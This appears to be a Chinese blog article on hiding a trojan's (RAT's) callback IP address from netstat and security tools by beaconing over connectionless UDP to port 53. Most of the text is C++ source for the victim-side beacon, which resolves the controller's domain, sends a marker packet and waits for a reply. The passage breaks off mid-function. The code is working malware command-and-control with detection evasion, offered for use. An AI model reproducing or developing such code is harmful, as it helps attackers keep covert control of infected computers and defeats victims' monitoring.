浅谈木马如何隐藏上线IP地址
木马也叫RAT,或者叫远程管理软件,关于如何隐藏IP地址,应该有不少人在研究,比如ROOTKIT实现文件隐藏、进程隐藏、网络连接隐藏等等。本人才疏学浅,没有深入研究过ROOTKIT,只是谈谈应用层的技术。
下面给出流程图:
解释一下流程图的原理,UDP网络协议是面向无连接的,和TCP协议的三次握手不同。
用系统自带的查看网络连接的命令 netstat -ano 是查看不到远程IP地址和端口的,用第三方软件或者工具也同样查看不到,如以前的冰刃、360网络连接查看器等等。
下面结合源代码和效果图来说明下IP地址是如何隐藏的。
被控端关键源代码(C++):
DWORD WINAPI ConnTask::InitUdpConn(LPVOID lpParameter)
{
WSADATA WSA;
if ((WSAStartup(MAKEWORD(2,2),&WSA)) != 0)
{
printf("[e]WSAStartup Error!\n");
}
boolean IsUdpConn=true;
int timeout=1000;
while(IsUdpConn)
{
try
{
Sleep(UdpTime);
SOCKET sockClient=socket(AF_INET,SOCK_DGRAM,0);
setsockopt(sockClient,SOL_SOCKET,SO_SNDTIMEO,(const char*)&timeout,sizeof(int));
setsockopt(sockClient, SOL_SOCKET, SO_RCVTIMEO, (const char *)&timeout, sizeof(int) );
SOCKADDR_IN addrSrv;
//域名上线
struct hostent *host = gethostbyname(g_remote_host.c_str());
addrSrv.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr*)(host->h_addr))));
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(53);
u_long ul=1;//代表非阻塞
ioctlsocket(sockClient,FIONBIO,&ul);//设置为非阻塞连接
string sendStr = "0x4869";
sendto(sockClient,sendStr.c_str(),strlen(sendStr.c_str())+1,0,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));
u_long ulu=0;//代表阻塞
ioctlsocket(sockClient,FIONBIO,&ulu);//设置为阻塞连接
int len=sizeof(SOCKADDR);
char recvBuf[14]={0};
recvfrom(sockClient,recvBuf,